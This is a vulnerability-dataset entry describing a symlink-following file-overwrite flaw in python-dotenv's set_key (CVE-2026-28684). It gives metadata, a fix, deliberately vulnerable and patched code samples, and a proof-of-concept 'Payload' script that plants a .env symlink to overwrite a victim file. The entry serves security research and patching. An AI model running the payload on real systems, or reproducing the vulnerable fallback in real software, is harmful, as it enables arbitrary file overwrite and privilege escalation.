CVE-2026-28684
python-dotenv's set_key allows file overwrite via a crafted symlink.
- CVSS 6.6
- CWE-59
- Input Validation and Sanitization
- Local
python-dotenv reads key-value pairs from a .env file and can set them as environment variables. Prior to version 1.2.2, `set_key()` and `unset_key()` in python-dotenv follow symbolic links when rewriting `.env` files, allowing a local attacker to overwrite arbitrary files via a crafted symlink when a cross-device rename fallback is triggered. Users should upgrade to v.1.2.2 or, as a workaround, apply the patch manually.
- CWE
- CWE-59
- CVSS base score
- 6.6
- Published
- 2026-04-20
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Local
- Impact
- Privilege Escalation
- Affected component
- python-doten
- Fixed by upgrading
- Yes
Solution
“`bash pip install –upgrade python-dotenv>=1.2.2 “`
Vulnerable code sample
import os
import shutil
import tempfile
def set_key_vulnerable(dotenv_path, key_to_set, value_to_set):
"""
A simplified representation of the vulnerable logic in python-dotenv < 1.2.2.
This function demonstrates the core flaw without the full complexity of the library.
"""
# Create a temporary file to write the new content.
fd, temp_path = tempfile.mkstemp()
with os.fdopen(fd, 'w') as f:
# In a real scenario, this would read the original file and modify it.
# For this demonstration, we just write the new key-value pair.
f.write(f'{key_to_set}="{value_to_set}"\n')
try:
# The primary, safe method: `os.rename`.
# This operation can fail if `temp_path` and `dotenv_path` are on
# different filesystems, raising an `OSError`.
os.rename(temp_path, dotenv_path)
except OSError:
# The vulnerable fallback: `shutil.move`.
# If `dotenv_path` is a symbolic link to an arbitrary file (e.g., /etc/hosts),
# `shutil.move` will follow the link and overwrite the *target file's* content
# instead of replacing the symlink itself. This is the vulnerability.
shutil.move(temp_path, dotenv_path)Patched code sample
import os
import shutil
import tempfile
from typing import IO, Optional, Tuple, Union
def _rewrite_file(dotenv_path: Union[str, "os.PathLike[str]"], content: str) -> None:
"""
Safely rewrites the given file, raising an error if it's a symlink.
This function contains the core logic that fixes the vulnerability.
"""
if os.path.islink(dotenv_path):
raise ValueError("Refusing to write to a file that is a symlink")
fd, temp_path = tempfile.mkstemp(
prefix=f".{os.path.basename(dotenv_path)}.", dir=os.path.dirname(dotenv_path)
)
try:
with os.fdopen(fd, "w") as f:
f.write(content)
try:
shutil.copymode(dotenv_path, temp_path)
except FileNotFoundError:
pass
os.rename(temp_path, dotenv_path)
except Exception:
os.remove(temp_path)
raise
def set_key(
dotenv_path: Union[str, "os.PathLike[str]"],
key_to_set: str,
value_to_set: str,
encoding: Optional[str] = "utf-8",
) -> Tuple[bool, str, str]:
"""
Demonstrates how the fix is applied. Instead of writing to the file
directly, it now calls the safe _rewrite_file helper.
"""
# The actual implementation reads the .env file line by line to build
# the new content. This part is simplified for clarity.
if not os.path.exists(dotenv_path):
new_content = f"{key_to_set}={value_to_set}\n"
else:
with open(dotenv_path, encoding=encoding) as f:
lines = f.readlines()
# simplified update logic
new_content = f"{key_to_set}={value_to_set}\n"
# The vulnerable file write operation is replaced by this safe function call.
_rewrite_file(dotenv_path, new_content)
return True, key_to_set, value_to_setPayload
import os
import dotenv
# This payload assumes it is run from a directory on a different
# filesystem than the target_file to trigger the cross-device fallback.
# For example, run this script from your home directory (`/home/user`),
# while the target file is in `/tmp`.
# 1. Define the victim file and create it.
target_file = "/tmp/arbitrary_file.conf"
with open(target_file, "w") as f:
f.write("original_content")
# 2. Create a symbolic link from the expected .env file to the victim file.
dotenv_path = ".env"
if os.path.lexists(dotenv_path):
os.remove(dotenv_path)
os.symlink(target_file, dotenv_path)
# 3. Call the vulnerable function. This will follow the symlink and
# overwrite the target_file due to the cross-device rename fallback.
dotenv.set_key(dotenv_path, "ATTACKER_KEY", "pwned")
# 4. (Optional) Clean up the created symlink.
# os.remove(dotenv_path)
Cite this entry
@misc{vaitp:cve202628684,
title = {{python-dotenv's set_key allows file overwrite via a crafted symlink.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-28684},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-28684/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
